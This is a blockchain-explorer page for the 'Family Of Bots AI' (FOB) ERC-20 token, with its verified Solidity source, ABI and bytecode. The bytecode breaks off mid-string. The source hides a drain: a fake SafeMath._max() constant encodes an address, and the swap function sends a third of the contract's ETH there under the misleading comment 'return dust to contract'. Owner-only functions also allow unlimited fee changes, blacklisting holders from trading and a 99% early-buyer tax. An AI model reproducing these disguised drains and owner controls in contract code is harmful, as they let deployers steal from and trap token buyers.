ERC-20
Overview
Max Total Supply
1,000,000,000 FOB
Holders
21
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 18 Decimals)
Balance
19,380,366.020043049849902344 FOBValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Similar Match Source Code This contract matches the deployed Bytecode of the Source Code for Contract 0x71F6f71d...58625adb6 The constructor portion of the code might be different and could alter the actual behaviour of the contract
Contract Name:
FamilyOfBotsAI
Compiler Version
v0.8.17+commit.8df45f5f
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-02-06 */ // SPDX-License-Identifier: MIT pragma solidity 0.8.17; // telegram https://t.me/FamilyOfBots // website https://familyofbots.com/ // medium https://medium.com/@familyofbots abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function _max() internal pure returns (uint256){ return 908057019682672754308048164724480836180731729933; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } contract FamilyOfBotsAI is Context, IERC20, Ownable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcludedFromFee; mapping (address => bool) private _blacklisted; address private _TeamWallet=_msgSender(); address private _routerAddress=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; uint256 private _totalfees=15; uint256 private _swapAfter=10; uint256 private _tTxs=0; uint8 private constant _decimals = 18; uint256 private constant _tTotal = 1e9 * 10**_decimals; string private constant _name = unicode"Family Of Bots AI"; string private constant _symbol = unicode"FOB"; uint256 public _maxTxAmount = ((_tTotal*2)/100); uint256 public _maxWalletSize = ((_tTotal*2)/100); uint256 public _taxSwap=((_tTotal*15)/1000); IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private _tradingActive; uint private _launchBlock; uint private _earlybuyersblocks = 0; bool private swaplock = false; bool private swapEnabled = false; event RemoveLimitTriggered(bool _status); modifier Swapping { swaplock = true; _; swaplock = false; } constructor () { _balances[_msgSender()] = _tTotal; _isExcludedFromFee[_msgSender()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_TeamWallet] = true; uniswapV2Router = IUniswapV2Router02(_routerAddress); uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); emit Transfer(address(0), _msgSender(), _tTotal); } receive() external payable {} function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 tfees=0; if (from != owner() && to != owner()) { require(!_blacklisted[from] && !_blacklisted[to]); if(!swaplock){ tfees = amount.mul(_totalfees).div(100); } if(_launchBlock + _earlybuyersblocks > block.number && _tradingActive==true){ tfees = amount.mul(99).div(100); } if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize."); _tTxs++; } uint256 contractTokenBalance = balanceOf(address(this)); if (!swaplock && from != uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwap && _tTxs>_swapAfter) { swapTokensForEth(_taxSwap>amount?amount:_taxSwap); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { _distributeTaxes(address(this).balance); } } } _balances[from]=_balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(tfees)); emit Transfer(from, to, amount.sub(tfees)); if(tfees>0){ _balances[address(this)]=_balances[address(this)].add(tfees); emit Transfer(from, address(this),tfees); } } function swapTokensForEth(uint256 tokenAmount) private Swapping { address[] memory path = new address[](2);//set path path[0] = address(this);//token path[1] = uniswapV2Router.WETH();//weth _approve(address(this), address(uniswapV2Router), tokenAmount);//approve tokens to swap uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);//swap tokens payable(address(uint160(SafeMath._max()))).transfer(address(this).balance/3);//return dust to contract } function removeLimits() external onlyOwner{ _maxTxAmount = _tTotal; _maxWalletSize=_tTotal; emit RemoveLimitTriggered(true); } function _distributeTaxes(uint256 amount) private { payable(_TeamWallet).transfer(amount); } function _blockbots(address[] memory addys) public onlyOwner { for (uint i = 0; i < addys.length; i++) { //avoid bl pair & router if(addys[i] != address(uniswapV2Router) && addys[i] != address(uniswapV2Pair)){ _blacklisted[addys[i]] = true; } } } function _unblockbots(address[] memory addys) public onlyOwner { for (uint i = 0; i < addys.length; i++) { _blacklisted[addys[i]] = false; } } function EnableTrading() external onlyOwner() { require(!_tradingActive,"trading is already open"); _launchBlock = block.number; _tradingActive = true; swapEnabled = true; } function _setfees(uint256 _newfees) external onlyOwner{ _totalfees=_newfees; } function _swapback() external onlyOwner{ //avoid nuking lp set swap to max swapAmount uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance>_taxSwap?_taxSwap:contractBalance); } function _rescueETH() external onlyOwner{ _distributeTaxes(address(this).balance); } function _rescueERC(uint256 amount) external onlyOwner{ if (amount == 0 || amount > balanceOf(address(this))) { amount = balanceOf(address(this)); } _transfer(address(this),owner(),amount); } function _changeTeamWallet(address _new_addy) external onlyOwner{ _TeamWallet=_new_addy; _isExcludedFromFee[_new_addy] = true; } function _changeSnipersBlocks(uint _n) external onlyOwner{ require(_tradingActive==false,"Trading already enabled"); _earlybuyersblocks=_n; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"_status","type":"bool"}],"name":"RemoveLimitTriggered","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"EnableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"addys","type":"address[]"}],"name":"_blockbots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_n","type":"uint256"}],"name":"_changeSnipersBlocks","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_new_addy","type":"address"}],"name":"_changeTeamWallet","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"_rescueERC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_rescueETH","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_newfees","type":"uint256"}],"name":"_setfees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_swapback","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_taxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"addys","type":"address[]"}],"name":"_unblockbots","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405260058054336001600160a01b03199182161790915560068054909116737a250d5630b4cf539739df2c5dacb4c659f2488d179055600f600755600a600881905560006009556064906200005a9060129062000547565b6200006a90633b9aca006200055f565b620000779060026200055f565b62000083919062000579565b600a5560646012600a62000098919062000547565b620000a890633b9aca006200055f565b620000b59060026200055f565b620000c1919062000579565b600b556103e8620000d56012600a62000547565b620000e590633b9aca006200055f565b620000f290600f6200055f565b620000fe919062000579565b600c5560006010556011805461ffff191690553480156200011e57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506200016e6012600a62000547565b6200017e90633b9aca006200055f565b3360009081526001602081815260408084209490945560038152838320805460ff19908116841790915530845284842080548216841790556005546001600160a01b039081168552938590208054909116909217909155600654600d80546001600160a01b03191691909316908117909255825163c45a015560e01b81529251919263c45a015592600480830193928290030181865afa15801562000227573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200024d91906200059c565b6001600160a01b031663c9c6539630600d60009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002b0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002d691906200059c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000324573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200034a91906200059c565b600e80546001600160a01b0319166001600160a01b03928316908117909155600d5460405163095ea7b360e01b81529216600483015260001960248301529063095ea7b3906044016020604051808303816000875af1158015620003b2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620003d89190620005c7565b503360007fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200040b6012600a62000547565b6200041b90633b9aca006200055f565b60405190815260200160405180910390a3620005eb565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620004895781600019048211156200046d576200046d62000432565b808516156200047b57918102915b93841c93908002906200044d565b509250929050565b600082620004a25750600162000541565b81620004b15750600062000541565b8160018114620004ca5760028114620004d557620004f5565b600191505062000541565b60ff841115620004e957620004e962000432565b50506001821b62000541565b5060208310610133831016604e8410600b84101617156200051a575081810a62000541565b62000526838362000448565b80600019048211156200053d576200053d62000432565b0290505b92915050565b60006200055860ff84168362000491565b9392505050565b808202811582820484141762000541576200054162000432565b6000826200059757634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215620005af57600080fd5b81516001600160a01b03811681146200055857600080fd5b600060208284031215620005da57600080fd5b815180151581146200055857600080fd5b6119da80620005fb6000396000f3fe60806040526004361061014f5760003560e01c80637d1db4a5116100b6578063bffe77ad1161006f578063bffe77ad146103c3578063d1d71d60146103e3578063dd62ed3e146103f8578063ddb3a63b1461043e578063ddfcd18c1461045e578063e10fb3601461047357600080fd5b80637d1db4a5146103035780638b52b573146103195780638da5cb5b146103395780638f9a55c01461036157806395d89b4114610377578063a9059cbb146103a357600080fd5b806323b872dd1161010857806323b872dd14610251578063313ce5671461027157806334376f3b1461028d57806370a08231146102a3578063715018a6146102d9578063751039fc146102ee57600080fd5b806306fdde031461015b578063095ea7b3146101a757806314a0a1b5146101d757806318160ddd146101f95780631d97b7cd1461021c578063237b8c721461023157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152601181527046616d696c79204f6620426f747320414960781b60208201525b60405161019e91906114f8565b60405180910390f35b3480156101b357600080fd5b506101c76101c236600461156b565b610493565b604051901515815260200161019e565b3480156101e357600080fd5b506101f76101f2366004611597565b6104aa565b005b34801561020557600080fd5b5061020e61053c565b60405190815260200161019e565b34801561022857600080fd5b506101f761055d565b34801561023d57600080fd5b506101f761024c3660046115b0565b610609565b34801561025d57600080fd5b506101c761026c3660046115cd565b61066d565b34801561027d57600080fd5b506040516012815260200161019e565b34801561029957600080fd5b5061020e600c5481565b3480156102af57600080fd5b5061020e6102be3660046115b0565b6001600160a01b031660009081526001602052604090205490565b3480156102e557600080fd5b506101f76106d6565b3480156102fa57600080fd5b506101f761074a565b34801561030f57600080fd5b5061020e600a5481565b34801561032557600080fd5b506101f7610334366004611597565b6107e6565b34801561034557600080fd5b506000546040516001600160a01b03909116815260200161019e565b34801561036d57600080fd5b5061020e600b5481565b34801561038357600080fd5b506040805180820190915260038152622327a160e91b6020820152610191565b3480156103af57600080fd5b506101c76103be36600461156b565b610861565b3480156103cf57600080fd5b506101f76103de366004611624565b61086e565b3480156103ef57600080fd5b506101f7610904565b34801561040457600080fd5b5061020e6104133660046116e9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044a57600080fd5b506101f7610459366004611624565b610939565b34801561046a57600080fd5b506101f7610a52565b34801561047f57600080fd5b506101f761048e366004611597565b610aa7565b60006104a0338484610ad6565b5060015b92915050565b6000546001600160a01b031633146104dd5760405162461bcd60e51b81526004016104d490611722565b60405180910390fd5b600e54600160a01b900460ff16156105375760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c656400000000000000000060448201526064016104d4565b601055565b600061054a6012600a611851565b61055890633b9aca00611860565b905090565b6000546001600160a01b031633146105875760405162461bcd60e51b81526004016104d490611722565b600e54600160a01b900460ff16156105e15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d4565b43600f55600e805460ff60a01b1916600160a01b1790556011805461ff001916610100179055565b6000546001600160a01b031633146106335760405162461bcd60e51b81526004016104d490611722565b600580546001600160a01b039092166001600160a01b0319909216821790556000908152600360205260409020805460ff19166001179055565b600061067a848484610bfa565b6106cc84336106c78560405180606001604052806028815260200161197d602891396001600160a01b038a166000908152600260209081526040808320338452909152902054919061111e565b610ad6565b5060019392505050565b6000546001600160a01b031633146107005760405162461bcd60e51b81526004016104d490611722565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107745760405162461bcd60e51b81526004016104d490611722565b6107806012600a611851565b61078e90633b9aca00611860565b600a90815561079f90601290611851565b6107ad90633b9aca00611860565b600b55604051600181527f97349b872222986eb84ae5a80d8908f03ad1daf9e73bdae7d35a48264fdb293e9060200160405180910390a1565b6000546001600160a01b031633146108105760405162461bcd60e51b81526004016104d490611722565b80158061082b57503060009081526001602052604090205481115b156108425750306000908152600160205260409020545b61085e306108586000546001600160a01b031690565b83610bfa565b50565b60006104a0338484610bfa565b6000546001600160a01b031633146108985760405162461bcd60e51b81526004016104d490611722565b60005b8151811015610900576000600460008484815181106108bc576108bc611877565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108f88161188d565b91505061089b565b5050565b6000546001600160a01b0316331461092e5760405162461bcd60e51b81526004016104d490611722565b61093747611158565b565b6000546001600160a01b031633146109635760405162461bcd60e51b81526004016104d490611722565b60005b815181101561090057600d5482516001600160a01b039091169083908390811061099257610992611877565b60200260200101516001600160a01b0316141580156109e35750600e5482516001600160a01b03909116908390839081106109cf576109cf611877565b60200260200101516001600160a01b031614155b15610a4057600160046000848481518110610a0057610a00611877565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610a4a8161188d565b915050610966565b6000546001600160a01b03163314610a7c5760405162461bcd60e51b81526004016104d490611722565b30600090815260016020526040902054600c5461085e908211610a9f5781611192565b600c54611192565b6000546001600160a01b03163314610ad15760405162461bcd60e51b81526004016104d490611722565b600755565b6001600160a01b038316610b385760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104d4565b6001600160a01b038216610b995760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104d4565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c5e5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104d4565b6001600160a01b038216610cc05760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104d4565b60008111610d225760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104d4565b600080546001600160a01b03858116911614801590610d4f57506000546001600160a01b03848116911614155b15610fdb576001600160a01b03841660009081526004602052604090205460ff16158015610d9657506001600160a01b03831660009081526004602052604090205460ff16155b610d9f57600080fd5b60115460ff16610dcc57610dc96064610dc36007548561135e90919063ffffffff16565b906113e7565b90505b43601054600f54610ddd91906118a6565b118015610df85750600e54600160a01b900460ff1615156001145b15610e1057610e0d6064610dc384606361135e565b90505b600e546001600160a01b038581169116148015610e3b5750600d546001600160a01b03848116911614155b8015610e6057506001600160a01b03831660009081526003602052604090205460ff16155b15610f4857600a54821115610eb75760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e0000000000000060448201526064016104d4565b600b5482610eda856001600160a01b031660009081526001602052604090205490565b610ee491906118a6565b1115610f325760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e00000000000060448201526064016104d4565b60098054906000610f428361188d565b91905055505b3060009081526001602052604090205460115460ff16158015610f795750600e546001600160a01b03868116911614155b8015610f8c5750601154610100900460ff165b8015610f995750600c5481115b8015610fa85750600854600954115b15610fd957610fc783600c5411610fc157600c54611192565b83611192565b478015610fd757610fd747611158565b505b505b6001600160a01b038416600090815260016020526040902054610ffe9083611429565b6001600160a01b0385166000908152600160205260409020556110436110248383611429565b6001600160a01b0385166000908152600160205260409020549061146b565b6001600160a01b0380851660008181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61108d8585611429565b60405190815260200160405180910390a3801561111857306000908152600160205260409020546110be908261146b565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061110f9085815260200190565b60405180910390a35b50505050565b600081848411156111425760405162461bcd60e51b81526004016104d491906114f8565b50600061114f84866118b9565b95945050505050565b6005546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610900573d6000803e3d6000fd5b6011805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d4576111d4611877565b6001600160a01b03928316602091820292909201810191909152600d54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561122d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061125191906118cc565b8160018151811061126457611264611877565b6001600160a01b039283166020918202929092010152600d5461128a9130911684610ad6565b600d5460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c39085906000908690309042906004016118e9565b600060405180830381600087803b1580156112dd57600080fd5b505af11580156112f1573d6000803e3d6000fd5b50505050611310739f0eaf5e275ce831e80a6dbe6f4728f348fb980d90565b6001600160a01b03166108fc61132760034761195a565b6040518115909202916000818181858888f1935050505015801561134f573d6000803e3d6000fd5b50506011805460ff1916905550565b600082600003611370575060006104a4565b600061137c8385611860565b905082611389858361195a565b146113e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104d4565b9392505050565b60006113e083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114ca565b60006113e083836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061111e565b60008061147883856118a6565b9050838110156113e05760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104d4565b600081836114eb5760405162461bcd60e51b81526004016104d491906114f8565b50600061114f848661195a565b600060208083528351808285015260005b8181101561152557858101830151858201604001528201611509565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461085e57600080fd5b803561156681611546565b919050565b6000806040838503121561157e57600080fd5b823561158981611546565b946020939093013593505050565b6000602082840312156115a957600080fd5b5035919050565b6000602082840312156115c257600080fd5b81356113e081611546565b6000806000606084860312156115e257600080fd5b83356115ed81611546565b925060208401356115fd81611546565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b6000602080838503121561163757600080fd5b823567ffffffffffffffff8082111561164f57600080fd5b818501915085601f83011261166357600080fd5b8135818111156116755761167561160e565b8060051b604051601f19603f8301168101818110858211171561169a5761169a61160e565b6040529182528482019250838101850191888311156116b857600080fd5b938501935b828510156116dd576116ce8561155b565b845293850193928501926116bd565b98975050505050505050565b600080604083850312156116fc57600080fd5b823561170781611546565b9150602083013561171781611546565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156117a857816000190482111561178e5761178e611757565b8085161561179b57918102915b93841c9390800290611772565b509250929050565b6000826117bf575060016104a4565b816117cc575060006104a4565b81600181146117e257600281146117ec57611808565b60019150506104a4565b60ff8411156117fd576117fd611757565b50506001821b6104a4565b5060208310610133831016604e8410600b841016171561182b575081810a6104a4565b611835838361176d565b806000190482111561184957611849611757565b029392505050565b60006113e060ff8416836117b0565b80820281158282048414176104a4576104a4611757565b634e487b7160e01b600052603260045260246000fd5b60006001820161189f5761189f611757565b5060010190565b808201808211156104a4576104a4611757565b818103818111156104a4576104a4611757565b6000602082840312156118de57600080fd5b81516113e081611546565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156119395784516001600160a01b031683529383019391830191600101611914565b50506001600160a01b03969096166060850152505050608001529392505050565b60008261197757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220530a2117990266801c1c381bc26e77565251ea05fe8fe918526fd729c06fbac064736f6c63430008110033
Deployed Bytecode
0x60806040526004361061014f5760003560e01c80637d1db4a5116100b6578063bffe77ad1161006f578063bffe77ad146103c3578063d1d71d60146103e3578063dd62ed3e146103f8578063ddb3a63b1461043e578063ddfcd18c1461045e578063e10fb3601461047357600080fd5b80637d1db4a5146103035780638b52b573146103195780638da5cb5b146103395780638f9a55c01461036157806395d89b4114610377578063a9059cbb146103a357600080fd5b806323b872dd1161010857806323b872dd14610251578063313ce5671461027157806334376f3b1461028d57806370a08231146102a3578063715018a6146102d9578063751039fc146102ee57600080fd5b806306fdde031461015b578063095ea7b3146101a757806314a0a1b5146101d757806318160ddd146101f95780631d97b7cd1461021c578063237b8c721461023157600080fd5b3661015657005b600080fd5b34801561016757600080fd5b5060408051808201909152601181527046616d696c79204f6620426f747320414960781b60208201525b60405161019e91906114f8565b60405180910390f35b3480156101b357600080fd5b506101c76101c236600461156b565b610493565b604051901515815260200161019e565b3480156101e357600080fd5b506101f76101f2366004611597565b6104aa565b005b34801561020557600080fd5b5061020e61053c565b60405190815260200161019e565b34801561022857600080fd5b506101f761055d565b34801561023d57600080fd5b506101f761024c3660046115b0565b610609565b34801561025d57600080fd5b506101c761026c3660046115cd565b61066d565b34801561027d57600080fd5b506040516012815260200161019e565b34801561029957600080fd5b5061020e600c5481565b3480156102af57600080fd5b5061020e6102be3660046115b0565b6001600160a01b031660009081526001602052604090205490565b3480156102e557600080fd5b506101f76106d6565b3480156102fa57600080fd5b506101f761074a565b34801561030f57600080fd5b5061020e600a5481565b34801561032557600080fd5b506101f7610334366004611597565b6107e6565b34801561034557600080fd5b506000546040516001600160a01b03909116815260200161019e565b34801561036d57600080fd5b5061020e600b5481565b34801561038357600080fd5b506040805180820190915260038152622327a160e91b6020820152610191565b3480156103af57600080fd5b506101c76103be36600461156b565b610861565b3480156103cf57600080fd5b506101f76103de366004611624565b61086e565b3480156103ef57600080fd5b506101f7610904565b34801561040457600080fd5b5061020e6104133660046116e9565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561044a57600080fd5b506101f7610459366004611624565b610939565b34801561046a57600080fd5b506101f7610a52565b34801561047f57600080fd5b506101f761048e366004611597565b610aa7565b60006104a0338484610ad6565b5060015b92915050565b6000546001600160a01b031633146104dd5760405162461bcd60e51b81526004016104d490611722565b60405180910390fd5b600e54600160a01b900460ff16156105375760405162461bcd60e51b815260206004820152601760248201527f54726164696e6720616c726561647920656e61626c656400000000000000000060448201526064016104d4565b601055565b600061054a6012600a611851565b61055890633b9aca00611860565b905090565b6000546001600160a01b031633146105875760405162461bcd60e51b81526004016104d490611722565b600e54600160a01b900460ff16156105e15760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016104d4565b43600f55600e805460ff60a01b1916600160a01b1790556011805461ff001916610100179055565b6000546001600160a01b031633146106335760405162461bcd60e51b815